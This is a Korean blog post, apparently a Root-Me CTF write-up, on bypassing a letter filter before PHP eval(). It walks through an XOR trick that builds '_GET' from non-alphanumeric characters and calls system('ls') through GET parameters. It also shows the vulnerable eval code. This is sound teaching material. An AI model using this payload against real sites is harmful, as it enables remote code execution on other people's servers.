간혹 코드 인젝션을 수행할 때, 특정 범위의 문자Set만을 요구되는 경우가 있다.
다음의 예시코드(Rootme PHP - Eval)를 살펴보자
<html>
<head>
</head>
<body>
<h4> PHP Calc </h4>
<form action='index.php' method='post'>
<input type='text' id='input' name='input' />
<input type='submit' />
<?php
if (isset($_POST['input'])) {
if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){
print '<fieldset><legend>Result</legend>';
eval('print '.$_POST['input'].";");
print '</fieldset>';
}
else
echo "<p>Dangerous code detected</p>";
}
?>
</form>
</body>
</html>
eval
함수의 인자로 내가 전달한 코드가 실행되지만, 영문자는 필터되고 있다.
이럴 경우 사용될 수 있는 우회기술이 바로 Non alphanumeric code Injection 이다.
말 그대로 영문, 숫자가 아닌 문자열set으로 원하는 코드의 동작을 구현하는 것이다.
구현 방법은 자바스크립트 난독화와 비슷하다.
1번의 경우는 자바스크립트 난독화 포스팅에서 다루는 원리와 동일하므로
2번을 이용하여 문자열을 구성하는 방법에 대해 살펴보겠다.
PHP 유연하다(?).
자바스크립트처럼 특정 constructor를 만들 필요가 없고
함수호출문의 형식
'함수명(인자명)'
를 그대로 사용할 수 있어 함수명
과 인자명
에 해당하는 문자열만 만들어주면 된다.
또한 GET 파라미터를 이용해 예시코드에서 필터되지 않는 문자열을 삽입할 수 있기 때문에
다음처럼 간단히 원하는 함수를 실행시킬 수 있다.
$_GET['_']($_GET['__')
단순히 XOR연산을 통해서 문자열을 구성할 수 있기 때문에
완성된 코드를 보고 원리를 간단히 이해하자.
<?php
$_="{";
$_=($_^"<").($_^">;").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>
$_
를 "{"
문자열로 선언했다.
이 "{"
문자열을 이용하여 GET
문자열을 만들어야 하며 바로 아래줄의 코드가 그것이다.
$_^"<"
앞서 선언한 "{"
와 "<"
을 XOR 연산하고 있다.
결과값은 G
가 되겠다.
이런식으로 GET
이란 문자열을 만들었다.
단순히 만든 문자열로
$"_GET"[...](...)
이렇게 함수를 호출할 경우 에러가 발생한다.
PHP에서 문자열을 함수형태로 사용할 땐 curly brackets({}
)을 이용하여 감싸줘야 한다.
${"_"."GET"}["_"]
이런 식으로 함수를 호출할 수 있다.
위의 코드를 세미콜론을 이용하여 한 줄로 만든 뒤 POST 파라미터로 전달하고, 함수명과 인자값을 GET 파라미터로 전달하여 system("ls")
를 실행시켜보자.
Response에서 코드가 정상적으로 실행되는 것을 확인할 수 있었다.
https://blog.silnex.kr/php-non-alphanumeric-code/
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/